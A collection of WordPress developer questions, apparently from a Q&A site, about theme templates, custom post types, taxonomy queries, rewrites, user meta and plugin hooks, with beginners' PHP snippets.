wordpress how to query wp_options table

I need to make an SQL call to find all records in wp_options matching a select statement. How do I query the table? My script already has these resources called...               require_once('../../../wp-blog-header.php');     require_once('../../../wp-admin/includes/file.php');


why does anchor name add a slash to url?

I am trying to do what should be some the most basic html, but it's not working for me. Here is my code:

The Title

some text

      I want to use the anchor name to fly down the contact page to the correct section. When I use a link within the contact page like this:               click here      it works fine. But i want to come from another page and then fly down. So I am using this:               click here      but it seems to add a slash after contact and redirect to http://mysite.com/contact/#rocket, which means that it stays at the top of the contact page instead of flying down. Does anyone know why this is happening? If you could point me in the right direction, I'd be grateful. Thanks, Yukon ps, i have read all similar questions on this site, but they don't help me.


Only view others' post in the overview screen

I've read the answers in this article I have other questions on this matter though: 1\. I'm not a programmer, so where should I put the code below? 2\. Can I achieve the same in Pods http://pods.io/? If so, how to?               add_action( 'load-edit.php', 'wpse14230_load_edit' );     function wpse14230_load_edit()     {         add_action( 'request', 'wpse14230_request' );     }          function wpse14230_request( $query_vars )     {         if ( ! current_user_can( $GLOBALS['post_type_object']->cap->edit_others_posts ) ) {             $query_vars['author'] = get_current_user_id();         }         return $query_vars;     }


Custom search form to display users only

I'm trying to build a custom search form for one of my pages. I need the search form to be able to search for users. Not only will it need to search for users, but by first name, last name etc.. Something similar to this: ![enter image description here](http://i.stack.imgur.com/YtcZF.jpg) The default WP search doesn't allow for me to search users on my site. I'm using the plugin 'Search Everything' and still can't manage to get any user data to show up in my searches. Any help is much appreciated. # EDIT Here is my form:               <?php          global $wpdb;         $authors = $wpdb->get_results("SELECT ID, display_name FROM $wpdb->users WHERE user_nicename != 'admin' ORDER BY display_name LIMIT 10");      ?>          <form action="<?php bloginfo('siteurl'); ?>" id="memberform" method="get">         <div class="first_name">             <select id="firstNameDrop" name="s">                 <option selected value="First Name">First Name</option>                 <?php                     foreach($authors as $author) {                         $author_info = get_userdata($author->ID);                         $name = $author_info->first_name;                         echo '<option value="'.$name.'">'.$name.'</option>';                     }                 ?>             </select>         </div>         <input type="submit" class="submit" name="submit" value="Search" />     </form>      This allows me to have my dropdown box with all of the users sorted by first name, and when I hit search, it takes me to my search page and pulls all posts corresponding to my search. That's all fine and dandy, but I need it to ONLY pull in the users information - such as first name, last name, avatar, description etc.. and NOT posts.


How to properly sanitize strings for update_option()

I've tried to import an option value via update_options($name, $value) where $value has special characters (like apostrophe's for example) and I've noticed that the apostrophe gets stripped out of the text before it reaches the database. What is the suggested sanitization of strings prior to sending them to update_options()?


Where do I put my add_action(... and add_filter(... and do I need to remove them?

I'm working on creating a plugin out of some custom code I use a lot, in hopes that other people find it useful too. It works, so yay! but... **Here's my question:** I feel like I'm missing some puzzle pieces in my understanding of the system. What happens to all the code I add and hook everywhere after I deactivate my plugin? In my main .php file, when is the code that's not in a function being executed? Only at install? Then what is the purpose of `register_activation_hook( __FILE__,'install_method');` ? If I put `add_action` and `add_filter` in my main php file, do I have to remove them at uninstall? (For example, I know that if I `add_option('option', '0', '', 'yes');` during install I have to `delete_option('option');` at uninstall.) In some tutorial, they told me to put `if ( is_admin() ) {}` around my code, is this necessary?


Add a Separator to the Admin Menu?

Does anyone know how to add an admin menu separator? I found this but it did not help.   * http://lab.yukei.net/wp-code/nav.html?wp-admin/menu.php.source.html Any ideas?


Create a Widget Area in the Navigation Bar for the Genesis Theme Framework?

_( **Moderator's note:** The original title was "How can I create a widget area in the navigation bar (Genesis specific)?"(_ I'm trying to create a widget area in my navigation bar. I'm attempting to adapt this from Bill Erickson's excellent tutorial here on adding static content to the navigation bar. This is the code I've added to my functions.php file to register and place the widget area:                   genesis_register_sidebar(array(         'name'=>'Nav Right',         'description' => 'This is the right section of the navbar.',         'before_widget' => '
', 'after_widget'  => '
',         'before_title'=>'
','after_title'=>'
'     ));          //Adding the widget area to the navbar     add_filter('genesis_nav_items','navbar_widget',10,1);     add_filter('wp_nav_menu_items','navbar_widget',10,1);     function navbar_widget() {         ?>
         <?php if (!dynamic_sidebar('Nav Right')) : ?>

<?php _e("Nav Right", 'genesis'); ?>

<?php _e("This is a widgeted area which is called Nav Right.", 'genesis'); ?>

         <?php endif; ?>
         <?php     }      However, what I end up with is this: ![alt text](http://i.stack.imgur.com/op4k3.jpg) With the widget area outside of the navigation bar (and the links removed from the navigation bar - there should be a Home and About link there). This is the html (when I view source of the page):

Research Valley International Gateway

Just another WordPress site

Nav Right

This is a widgeted area which is called Nav Right.

      Any suggestions on how to get the new widget area that is created to be within `<div id="nav"></div>`?


Where is the robots.txt stored for a WordPress Multisite install?

Google Webmaster Tools can see it, but I can't find it. Any idea on how it's generated or where it is the file structure? I don't see the file in my root. My website is at http://mikewills.me and the robots.txt file URL is http://mikewills.me/robots.txt. In the end, Google isn't indexing my site and I am trying to figure out how to edit the robots.txt so that indexing is allowed. I have changed the privacy option to allow indexing, but that hasn't updated the robots.txt.


How to remove the "comments" bit that appears next to or below the posts

I am modifying the Seven Five theme to fit my liking more and this is what I have. What I want is to remove the "X comments" below the "Posted on" bit. However I just can't find which file to change. I have tried blog.php and index.php but none of them is the correct one. Any suggestions? I suppose it is a theme file and not a "core" wordpress one, am I wrong?


How to add SQL file with PHP to WordPress database

I have SQL file with US zip codes (over 41000 lines of code). I want make a plugin that inserts this SQL file into WP database so user can do a search by zip codes. I want to insert SQL with PHP rather than PhpMyAdmin


If post-format == 'gallery' conditional

I'm working on trying to get my homepage template to display post-format 'gallery' a little different than the other formats but having no luck so far. Here is a snippet 'inside the loop' that shows what I am trying to accomplish. Basically saying if post-format = 'aside' do x, elseif post-format is gallery, then I want to show a thumbnail, else just content.               <div class="entry">         <?php              if ( has_post_format( 'aside' , $post_id )) {             the_excerpt(__('Continue Reading →', 'wptumble-fluid'));              } elseif ( has_post_format( 'gallery' , $post_id )) {                  if ( has_post_thumbnail() ) {                     // use the thumbnail ("featured image")                     $thumb_id = get_post_thumbnail_id();                 the_post_thumbnail( 'thumbnail' );              } else {                 $attachments = get_children( array(                     'post_parent' => get_the_ID(),                     'post_status' => 'inherit',                     'post_type' => 'attachment',                     'post_mime_type' => 'image',                     'order' => 'ASC',                     'orderby' => 'menu_order ID',                     'numberposts' => 1)                 );                 foreach ( $attachments as $thumb_id => $attachment )                     echo wp_get_attachment_image($thumb_id, 'thumbnail' );                  }         } else {                 if ( $fluidtheme_options['fluid_post_content'] == "content" ) the_content(__('Continue Reading →', 'wptumble-fluid')); else the_excerpt();         }                  wp_link_pages( $page_link_args );         ?>          </div><!-- /.entry -->      The aside part works, as does the final option which checks the theme options page. The only thing not working is my elseif statement where I want it to grab the post attachment. Probably just doing my php wrong, but this is the closest I can seem to come up with. Still in the learning process. thanks


How to add a variable as a tag base?

I need to add a tag base with the country name to filter content based on that variable. Something like: http://base_url/country/page_name or http://base_url/country/post_type/post_name The content would be filtered by a taxonomy using the country variable.


post__in not taking my list of IDs

I have a Custom Field on a page named `banner_id_list`. I have a Custom Post Type called `top_banner`. I add a few banners, note the IDs and then go back to the page and add a comma delimited list of IDs in the `banner_id_list` custom field. In my template, the plan is to check the current posts meta using get_post_meta(). That should produce a list of IDs that I can then take and use in get_posts() with `post__in = array()` (see post__in). Now on to the code, I'm missing something here but I'm a bit of a newb at this.               // get the banner_id_list based on the meta custom field for this page     $banner_id_list = get_post_meta($post->ID, 'banner_id_list', true);      If I dump that I see the expected data, a list of IDs I entered into the custom field. Now for my query:               $args = array(         'post_type' => 'top_banner',         'post_status' => 'publish',         'numberposts' => -1,                 'order' => ASC,         'orderby' => menu_order,         'post__in' => array($banner_id_list)      );            $banners = get_posts($args);      But there's something funky about using `$banner_id_list` here. It's only getting a single record. But if I manually enter values in place of that variable, it works properly. I think it's something simple/fundamental I'm missing, hope someone can help!


Sorting Meta Fields?

I hope this question is not too abstract to be asked here, if it is, I apologize in advance. In my theme I have a custom theme options page that I've set up to control my front page slider. Basically there are several fields and each of them apply to a certain frame with in the front page image slider. It functions well, but I was hoping to figure out a way to be able to reorder the slides, not just edit the slide's content. This is a snippet from my options page:               <input type="text" name="frame1_image" size="85" value="<?php echo get_option('frame1_image'); ?>" /> << Main Image URL
                     <input type="text" name="frame1_thumb" size="85" value="<?php echo get_option('frame1_thumb'); ?>" /> << Thumbnail Image URL
                     <input type="text" name="frame1_title" size="85" value="<?php echo get_option('frame1_title'); ?>" /> << Title
                     <input type="text" name="frame1_link" size="85" value="<?php echo get_option('frame1_link'); ?>" /> << Link
                     <input type="text" name="frame1_category" size="85" value="<?php echo get_option('frame1_category'); ?>" /> << Category
      and that is repeated five times, each with their own variables for the fields. and this is the slider code:

                                 <a href="<?php echo get_option('frame1_link'); ?>"><img src="<?php echo get_option('frame1_image'); ?>" alt="" data-thumb="<?php echo get_option('frame1_thumb'); ?>" title="#htmlcaption1">                                 <a href="<?php echo get_option('frame2_link'); ?>"><img src="<?php echo get_option('frame2_image'); ?>" alt="" data-thumb="<?php echo get_option('frame2_thumb'); ?>" title="#htmlcaption2">                                 <a href="<?php echo get_option('frame3_link'); ?>"><img src="<?php echo get_option('frame3_image'); ?>" alt="" data-thumb="<?php echo get_option('frame3_thumb'); ?>" title="#htmlcaption3">                                 <a href="<?php echo get_option('frame4_link'); ?>"><img src="<?php echo get_option('frame4_image'); ?>" alt="" data-thumb="<?php echo get_option('frame4_thumb'); ?>" title="#htmlcaption4">                                 <a href="<?php echo get_option('frame5_link'); ?>"><img src="<?php echo get_option('frame5_image'); ?>" alt="" data-thumb="<?php echo get_option('frame5_thumb'); ?>" title="#htmlcaption5">

<?php echo get_option('frame1_category'); ?>
                                 <?php echo get_option('frame1_title'); ?>

<?php echo get_option('frame2_category'); ?>
                                 <?php echo get_option('frame2_title'); ?>

<?php echo get_option('frame3_category'); ?>
                                 <?php echo get_option('frame3_title'); ?>

<?php echo get_option('frame4_category'); ?>
                                 <?php echo get_option('frame4_title'); ?>

<?php echo get_option('frame5_category'); ?>
                                 <?php echo get_option('frame5_title'); ?>
      Like I said this works well to replace the data in the slider, but when I want to re-order the slides, I often have to deleted every field, then re input them all, even if I want to just add a new slide to the front. I was thinking that maybe a meta field that has a drop down selector for which slide number it should go in. So on the settings page, there could be all the fields for the slide info, and then a drop down that select which frame. But I am not sure how I would implement that. Any ideas or suggestions would be greatly appreciated! Thanks.


Changing database links has no effect

So I just moved my website from localhost (127.0.0.1/wordpress) to a server. I followed many tutorials and I managed to get the site going. The home page loads, the content is there, however, subpages and css don't work/load. (the home page is blank, without any css applied). Apparently, the problem is in MySQL database. I tried multiple times to replace 127.0.0.1/wordpress with mydomain.com, but nothing seems to be working. No matter what I change those values to, all the links are mydomain.com/wordpress. Any idea how to fix this?


Making a Custom Post type only visible to non-users via a specific link

I am working on creating a small web-app with wordpress as the framework. It allows you to input a customer and in turn sends an email to the customer with a link back to the website in order to complete a short survey. I have a "Customer" Custom Post Type which includes the survey questions as custom fields. I'm locking down the content and admin areas etc with s2member which so far has worked great.   However, I am after a way in which I can display a separate page which has the survey form on it and only display it for those which receive the link in an email. Possibly something with cookies and htaccess? I've tried to find an answer for the last few hours but it's a bit over my head. Any help even if just a push in the right direction would be greatly appreciated!


How to check if the current page is a "personal activity"-page in buddypress?

I want to modify some general text in my personal-activity page in buddypress. Does any one know any conditional tag like `is_page('activity')` things are there for checking this? the page can be navigated as > member profile page -> activity tab Thanks in advance :) Vignesh


Rewriting search and pagination base

After trying for weeks now how to find a working solution I got rid of most of my functions and trials and just left the pagination function underneath in my functions.phh file:               /**      * Pagination links for search and archives      */          function get_pagination_links( $type = 'plain', $endsize = 1, $midsize = 1 ) {         global $wp_query, $wp_rewrite;         $wp_query->query_vars['paged'] > 1 ? $current = $wp_query->query_vars['paged'] : $current = 1;              // Sanitize input argument values         if ( ! in_array( $type, array( 'plain', 'list', 'array' ) ) ) $type = 'plain';         $endsize = (int) $endsize;         $midsize = (int) $midsize;              // Setup argument array for paginate_links()         $pagination = array(             'base'          => @add_query_arg('paged','%#%'),             'total'         => $wp_query->max_num_pages,             'current'       => $current,             'show_all'      => false,             'end_size'      => $endsize,             'mid_size'      => $midsize,             'type'          => $type,             'prev_next'     => false,             'paged'         => get_query_var( 'paged' )         );              return paginate_links( $pagination );     }      My search-form looks like this:               <form class="search-form" action="<?php echo home_url( '/' ); ?>" method="get">         <fieldset>
                 Suchen …                 <input type="text" name="s" class="s" value="<?php the_search_query(); ?>" />
             <button type="submit" class="search-button">Suchen</button>         </fieldset>     </form>      **What I wanna do:** I'd like to rewrite the standard `/?s=` to the german word `/suche` So when searching for "test" I want my URL to look like this: `www.mydomain.com/suche/test` (instead of `/?s=test`) Moreover I'd like to rewrite the pagination as well … So when searching for "test" and clicking on `page 2` I'd like the address to look like this … `www.mydomain.com/suche/test/seite/2` So in essence I'd like to rewrite `/?s=` to the german word `suche` (for search) And rewrite `&paged=2` to the german word `seite` (for page) As you can see all I have in my code right now is the pagination function above because I removed all other trials - I couldn't seem to make it work. Any clever ideas on that? I'm using the latest wordpress version and would love to find a filter-based solution. I don't want any JS to interact with the search-form. Thank you in advance


Running WP_Upgrader via Cron

I have written code that updates core when page runs. Everything works when I use the code via admin hook `admin_init` but doesn't work (fatal error) when I add it to cron function or run it via any frontend hook `init` or `template_redirect` etc. So, I tried to require the `class-wp-upgrader.php` file.               add_action('init', 'kit_wp_auto_update'); // doesn't work     // add_action('admin_init', 'kit_wp_auto_update'); // works              function kit_do_update(){             require_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );                  fb('kit_do_update');                           $core_transient = get_site_transient( 'update_core' );             fb($core_transient);                  $updates = $core_transient->updates;             $current = $updates[0];                  if( !empty( $core ) && $current->response == 'upgrade' ){                      $skin = new Kit_Upgrader_Skin();                         $upgrader = new Core_Upgrader($skin);                 $result = $upgrader->upgrade($current);                      if( is_wp_error( $result ) ) {                     return $result;                 }else{                     return true;                 }                  }         }      But it still gets some function undefined.               Fatal error: Call to undefined function request_filesystem_credentials() in /home4/sisir/public_html/_sites/wpkitten.com/site/wp-admin/includes/class-wp-upgrader.php on line 1113      **Questions:**   1. `request_filesystem_credentials()` is defined inside the file so **I don't understand why its undefined.**   2. Another one of my concern is if I try to run the function with cron. That means a visitor (logged out) might trigger the upgrade. As the upgrading process involves filesystem processes (read/write). **Will wordpress have enough permission to do the upgrade?**


How to change the height of featured image in Twenty Eleven child theme

I am trying to change the height of my featured image to 350px in my child theme for Twenty Eleven. Can anyone help?? Note: I am using Twenty Eleven and there is no functions.php file in my child theme, because the parent theme's functions.php file is included after the child theme's functions.php file. When creating a child theme, you do not copy the functions.php file from the parent theme. The only files I have in the child theme are style.css, header.css and footer.css. I haven't added any code yet for the change in height for the featured image because I don't know what to put - would love some help.


Google Map Shortcode for Custom Taxonomy/Post Types

Calling all WP Stack Exchangers! I am currently using Alain Gonzales' Google Map Shortcode plug-in on a site I'm developing, and it's worked just fine: Google Map Shortcode plug-in on wordpress.org Recently, I added a Custom Post Type (called "hotels") to the site, and created two new Custom Taxonomies to use with this ("cities" and "regions"). I'd like to use the plug-in mentioned above to display map points for posts that use the CPT/Custom Taxonomies, and so far it will let me add the points in question, but doesn't properly spit them out on the relevant theme template file - it only shows the first post within the taxonomy, but not the others. In the plug-in file, there's this line: $post_obj = get_posts(array('category__in'=>$categories,'numberposts'=>-1)); This is used to query posts within a category and print out their associated map points; of course, the problem is that because Custom Taxonomies aren't "traditional" categories, it doesn't quite work with them :( Can any of you guys think of a way I can query the taxonomies correctly to get the points from each post within them? As always, any help would be gratefully received!


rename index or homepage

I've tried about anything but I can't seem to get it to work how I would like to so I hope you can help me out. Situation. I have 2 wordpress websites, running on different hosts, only link is a 'commercial' links. they are set up like this. url.com/wp is my wordpress directory, with my index in root. referring. So I have pretty url url.com/contact etc. Now I have a simple html page which has to be a selector. When you go to url.com and url2.com you see this index.html which links to url.com and url2.com. so each root page of the urls , the user can choose to go to url 1 or 2. I can't change my hostings first file to go to, to take index.htm before the index.php of wordpress. .htacces using DirectoryIndex didnt do the trick either. So I would like to rename my index.php from wordpress to something else. But then it just breaks... I hope I'm clear enough about it. It's a 'simple' problem but kind of hard to explain for me. Hope you can help me out.


Permanently remove first image from posts

I have around 2,500+ posts on my site where I've inserted images using the traditional method into the post content itself. In upgrading to a different theme, the single post page now displays the featured image as well before the title (which I want to keep), but I now would like to remove the first image from the_content to prevent duplicate images from showing up. I know that it can be done with this filter, but is there are way to _permanently_ remove the first images from my old posts other than manually going through each one?               function remove_first_image ($content) {     if (!is_page() && !is_feed() && !is_feed() && !is_home()) {     $content = preg_replace("/<img[^>]+\>/i", "", $content, 1);     } return $content;     }     add_filter('the_content', 'remove_first_image');      I feel as if this filter might be resource intensive and be very unflexible for things I might wish to do in future within posts. Another thread mentioned "Export your database tables to your desktop.than you can remove all unwanted tags by using any text editor such as notepad++." but I'm not familiar with how to do that. Any help is appreciated. Thanks


Template for regular posts (no custom post types)

I'm running in a dilemma with something that should be very simple. I have no custom post types. Just regulars posts. I just created a post with a category called "news". The official documentation says that defining a template for that category should be as simple as creating a `category- news.php` file inside the theme. However it does not work, it keeps using the `single.php` file. What am I doing wrong?


Remove number in URL

I'm trying to use WordPress to make a web page. I made a "Contact" page, but for some reason it didn't show up. WordPress kept saying it couldn't find it. So I deleted it and made a new one called the same thing, "Contact". Now the Contact page works, but it has a `-2` in the URL. I want to make it say `http://www.dragonavionics.com/contact/` instead of `http://www.dragonavionics.com/contact-2/` How do I do this?


Link to blog index from template

I can't believe I did not find the right function for this: I just want to retrieve the blog index url from a template. My homepage is a static page. I am not looking for bloginfo('url') because it gives me my root url (/). I am looking for mysite.com/Blog I am thinking about getting it via get_permalink($mypageid) but it is a bit dirty.


Exclude Users of a Certain Role in the Users Page

class MyPlugin {              public function __construct() {             add_action('init', array(&$this, 'do_member_filter'));         }              public function do_member_filter() {             $users = new WP_User_Query( array(                 'meta_query' => array(                     array(                         'key'     => "{$GLOBALS['wpdb']->prefix}capabilities",                         'value'   => 'abcrole',                         'compare' => '!='                     )                 )             ));                       do_action_ref_array('pre_user_query', $users);         }     }


Custom attachments styling in post view

I am looking for easy styling list of .doc attachments in post. For example i want to put every in `<li></li>` tags and do some proper styling. So far I am get my post content this way:                <?php                   query_posts('cat=13');                   while (have_posts()) : the_post();                   the_content();                   endwhile;                 ?>


Using Jigoshop, how can I add a custom post type to the cart via code?

I want to programmatically add an item to the cart, and that item is not a product.. It's a custom post type that I am creating. I think I'm going in the right direction by using the Jigoshop cart class. Found in the jigoshop folder under classes/jigoshop_cart.class.php. The problem is that I'm not sure exactly how to hook something into it that is not a product.. I thought maybe someone could point me the right direction. Thanks in advance!


Why is my WP_Query not working when tax_query terms are an array?

I have an issue with a WP_Query for a site I'm building which has me stumped. This works as expected:                                           $package_args = array(                                     'post_type' => 'vamos-cpt-packages',                                     'tax_query' => array(                                         'taxonomy' => 'vamos-holiday-types',                                         'field' => 'slug',                                         'terms' => 'activity-holidays'                                     )                                 );                                 $packages = new WP_Query($package_args);                                 var_dump($packages);      But when the terms are an array:                                           $package_args = array(                                     'post_type' => 'vamos-cpt-packages',                                     'tax_query' => array(                                         'taxonomy' => 'vamos-holiday-types',                                         'field' => 'slug',                                         'terms' => array('activity-holidays')                                     )                                 );                                 $packages = new WP_Query($package_args);                                 var_dump($packages);      It doesn't! I get no posts returned. Can anyone explain this? Cheers Kevin


How does WordPress tell which post is from which site in a multisite setup?

I'm aware that WordPress stores all the post content of a multisite in the same database table and I was just wondering how it internally differentiates post content from one blog to the other?


Which version of PHP-FPM is necessary to work with WP 3.5?

I'm trying to establish a blog with NGINX and PHP-FPM. I wonder if my version of PHP should work with WordPress               /usr/bin/php-cgi -v     PHP Warning:  PHP Startup: magickwand: Unable to initialize module     PHP 5.2.17 (cgi-fcgi) (built: Sep 17 2012 00:15:25)     Copyright (c) 1997-2009 The PHP Group     Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies         with eAccelerator v0.9.6.1, Copyright (c) 2004-2010 eAccelerator, by eAccelerator`


Conditionals: What is wrong with my if/else statements?

<?php if( $settings['logo']) : ?>     <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><img src="<?php echo $settings['logo']; ?>"/>          <?php else if ( $settings['logo_option'] == 'image' && !$settings['logo'] ) : ?>     <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><img src="<?php bloginfo('template_directory');?>/images/logo.png"/>          <?php else if( $settings['logo_option'] == 'text' && !$settings['logo'] ) : ?>     <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?>          <?php else : ?>     <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?>          <?php endif; ?>


Replace #site-title with resizable image in Twenty Twelve?

I've been wracking my brain with this all afternoon. I successfully replaced #site-title with an image using CSS, and it looks fine when browsing on a desktop, but i'd like to have the entire site be responsive (i'm using twenty twelve after all!). The thing is, in order to replace #site-title in CSS, you have to apply fixed dimensions. Using "100%", "auto", etc just wipes the image from the page entirely. I've also attempted to add "width: 100%;" to #page, it's parent, to no avail. Any ideas?.


Wordpress DB: options-table –> 32 gzipcompression?

I just wondered what this row in the Wordpress Database refers to?               32  gzipcompression 0      I stumbled upon it in the WP options table. What if I set the value to `1`. I do already have gzipcompression enabled via htaccess, so I simply wondered what this is? Thank you for your answer.


Disabling archives, search results, comments, etc?

I am working on a site that has only text articles, and I am not making use of comments, archives, trackbacks and other features. **How can I make so these pages show a 404 not found error?** I am not linking to those pages from my theme but it happened to me in the past that google crawled duplicated content from archives pages. _To make it more clear, my website is just a homepage with an articles list (posts), posts don't have comments or anything, just the text._


Custom Taxonomies Incorrectly Counting Revisions?

_( **Moderator's note:** The original title was "The count of my custom taxonomy is incorrect; it's counting revisions")_ Has anybody run into this before? I've added two custom taxonomies, and the `count` column of the `wp_term_taxonomy` table is being set incorrectly. It appears to be counting revisions in addition to the published post. I've poked around in the WordPress core but that's a huge beast and I honestly barely know where to start looking for what updates the `count` for that table.


Corrupt Wordpress Database

The weirdest Wordpress problem ever I think. A clients site with a large database of posts has got a mind of it's own. One minute everything seems fine, the next posts, categories and tags are missing. At the minute the dashboard is telling me there's 2309 posts in 9 categories but when I click the categories link in admin there's none in the list. I can see all posts in admin but whereas they used to be assigned to categories and have tags listed, they're all now "Uncategorized" with "No Tags". Obviously the wordpress database is corrupt in some way but where to start to try fix it!? Here's what I've tested so far: Plugins – I turned off all current plugins. Theme – I tried a different theme/template. Wordpress Core – I re-uploaded the latest wordpress version. Updates – I updated all plugins and wordpress core. Repair Database - I checked and tried to repair the database in Cpanel but it timed out. Help!?


Broken image URL

I seem to be having a problem with broken URL links in posts for images. If you click on the image from the post you will see the URL but if you try to then copy and paste that URL it will show as a broken link. Here is a test page I put together to try and figure this out: http://www.sixteeneighteen.co.uk/2013/04/work/ If you click on the image it'll show the url as http://www.sixteeneighteen.co.uk/wp-content/uploads/2013/04/remove01.jpg but if you then try to refresh this page or copy and paste the link it won't show I've been playing with file permissions and that doesn't seem to do anything they are set to 755 I've looked everywhere online for something similar but can't seem to find any answers, any help would be greatly appreciated. Many thanks


Sortable Custom Columns in User Panel (users.php)?

I'm using Register Plus Redux plugin to augment a registration form with custom metadata fields. These fields display at the bottom of each user record detail page and they can be retrieved with get_the_author_meta. In addition, I'm able to create columns in the User panel (the list view) and to make these columns sortable. The problem is that, when I click on the custom column heading, the orderby= value in the URL appears to be ignored. Put another way, it appears the query that generates the list view of users does not include the custom meta data (e.g. perhaps it requires a join statement if the metadata is not in the usual place for user data?). It feels like I've missed a step. Here is my code to create the custom columns:               //add columns to User panel list page     function add_user_columns( $defaults ) {          $defaults['company'] = __('Company', 'user-column');          $defaults['title'] = __('Title', 'user-column');          return $defaults;     }     function add_custom_user_columns($value, $column_name, $id) {           if( $column_name == 'company' ) {             return get_the_author_meta( 'company_name', $id );           }           if( $column_name == 'title' ) {             return get_the_author_meta( 'titlefunction', $id );           }     }     add_action('manage_users_custom_column', 'add_custom_user_columns', 15, 3);     add_filter('manage_users_columns', 'add_user_columns', 15, 1);`      And here is my code to make these columns sortable:               function user_sortable_columns( $columns ) {         $columns['company'] = 'Company';         return $columns;     }     add_filter( 'manage_users_sortable_columns', 'user_sortable_columns' );          function user_column_orderby( $vars ) {         if ( isset( $vars['orderby'] ) && 'company' == $vars['orderby'] ) {             $vars = array_merge( $vars, array(                 'meta_key' => 'company',                 'orderby' => 'meta_value',                 'order'     => 'asc'             ) );         }         return $vars;     }     add_filter( 'request', 'user_column_orderby' );`      Any ideas how I can update the query that generates the list of users so that it includes sorting by my custom field(s)? Or, if that's not the problem, how to make the custom column headings sort the list of users when clicked? Thank you.


Do I use a custom post type or mySQL tables from the ground up

I'm writing a plugin to achieve the following 1) To create one or more Portfolios 2) Each Portfolio will have it's own meta data fields and a categorisation option similar to the Wordpress categories function 3) Each Portfolio can then be displayed via a short-code on a page As this is my first forage into plugin development I am wondering if it would be better to start with Custom Post Types or to begin using Custom Tables from the outset UPDATE: After advice from Pat I decided to go with custom post types. I would like to know if the following structure is possible through custom post types. Library #1 > book review 1, book review 2, book review 3 Library #2 > video review 1, video review 2, video review 3 Library #3 Library #4 etc... Each library will have up to 10 custom fields with labels specific to each library's (e.g URL for videos and Page number for books) content but no more than 10. Within each of the libraries will be the ability to create one or more records (I.e. Books or video links)


Hooking in to an archive page?

I'm making a custom post type that I want to use in the form of a plugin - all pretty straight forward. However, I want the archive page for this post type to look slightly different in the content area - how would I achieve this without having to ask the end user to move files to their template directory? I hope that makes sense, if not please ask me to clarify further - I've not really been able to find anything in the codex, but maybe I'm looking in the wrong place.


Front end login form not working on live site

I am using the front end form submission. It works on localhost perfectly, but it's not working when my site is live. It shows the "success message", but originally it's not logged in. This is my code:               if ( 'POST' == $_SERVER['REQUEST_METHOD'] && !empty( $_POST['action'] ) && $_POST['action'] == 'log-in' ) :             global $error;         $login = wp_login( $_POST['user-name'], $_POST['password'] );         $login = wp_signon( array( 'user_login' => $_POST['user-name'], 'user_password' => $_POST['password'], 'remember' => $_POST['remember-me'] ), false );              if (!$error) {             save_message( 'success', __( 'You have successfully Login.', 'frontendprofile' ) );             unset($_POST);             wp_redirect( get_permalink( 4 ) );           }         // wp_redirect( home_url() );     endif;      So what can I do to fix this?


Unable to combine "search value" and "tax_query" using WP_Query

This is my function in my template's functions.php. The problem is that this is working:               function ajax_search_action_do(){         global $wp_query;              $search = $_POST['search_value'];         $country   = $_POST['country_value'];              $args = array(             's' => $search,             'posts_per_page' => 10,         );         $wp_query = new WP_Query( $args );              get_template_part( 'search-results' );              exit;     }      But this is not:               function ajax_search_action_do(){         global $wp_query;              $search = $_POST['search_value'];         $country   = $_POST['country_value'];                        $args = array(             's' => $search,             'posts_per_page' => 10,             'tax_query' => array(                               array(                 'taxonomy' => 'country',                                'field' => 'id',                                       'terms' => $country,                  ),             ),         );         $wp_query = new WP_Query( $args );              get_template_part( 'search-results' );              exit;     }      So, when there is search term alone, it's working and I get the right results. But when I try to combine it with the tax_query search term is not working and only tax_query works. How to make both conditions work together? THe query that is build:               `SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts INNER JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND ( wp_term_relationships.term_taxonomy_id IN (8) ) AND (((wp_posts.post_title LIKE '%test%') OR (wp_posts.post_content LIKE '%test%'))) AND wp_posts.post_type IN ('post', 'page', 'attachment') AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending' OR wp_posts.post_author = 1 AND wp_posts.post_status = 'private') GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10`


listing custom post type category page

I've registered custom post type "deals" and its taxonomy "deals-category"   the page site/deals/ runs the archive-deals.php fine   but in page site/deals-category/travel/ runs the archive.php file!   How can i make site/deals-category/travel/ runs the archive-deals.php or other file ?


Limit the_excerpt with max of x characters

**What I'm trying to do:**   I want to display `the_excerpt`, but I have a maximum of `x` characters `the_excerpt` may use, but I don't want to display a couple of characters of a word, only whole words. **Some more information:**   This code is on a non-single/non-permalink web page such as archives, categories, front page, and searches, that makes me unable to use `<!-- more-->`. **The code:**   This is the code I use:               add_filter( 'excerpt_length', function( ) {         return 20;     } );          if ( have_posts() ):         while( have_posts() ): the_post();             the_excerpt( );         endwhile;     endif;


How to update serialized data in the user meta data

In my wp_usermeta table I have a field called "wp_s2member_custom_fields" In it is stored this value: a:2:{s:6:"alumni";s:3:"Yes";s:19:"donations_collected";s:2:"10";} I am trying to use: update_user_meta( $team_member_id, wp_s2member_custom_fields, $meta_value) To update "donations_collected" from 10 to 11. What should I put in $meta_value?


Query posts from a specific category and selected tag

I am trying to have a page (tag page) with this conditions:   * query posts from a specific category (for example : products)   * show only the posts with a selected tag (the tag is variable) not all the posts from that category.


Hide widget to non-logged in users without plugin (functions.php)

I am working on a Woocommerce Wordpress site. I want to hide a widget in frontend to non-logged in users. The widget is "filter by price" from Woocommerce. I'm also using the "Catalog Visibility Options" because I am not able to show prices to non logged-in users. I'm using canvas theme and a child theme. I want to use a code to insert in my custom functions.php file. I don't want to use a plugin. I was trying with this code, but I am not able to finish it:               // Hide Widget to non-logged user          function hide_widget() {         if ( is_user_logged_in() ) {              } else {               }     }          add_action( 'wp', 'hide_widget' );      Can somebody please assist me with this? Thank you very much!!


change order of add_action hooks for jquery to be loaded first

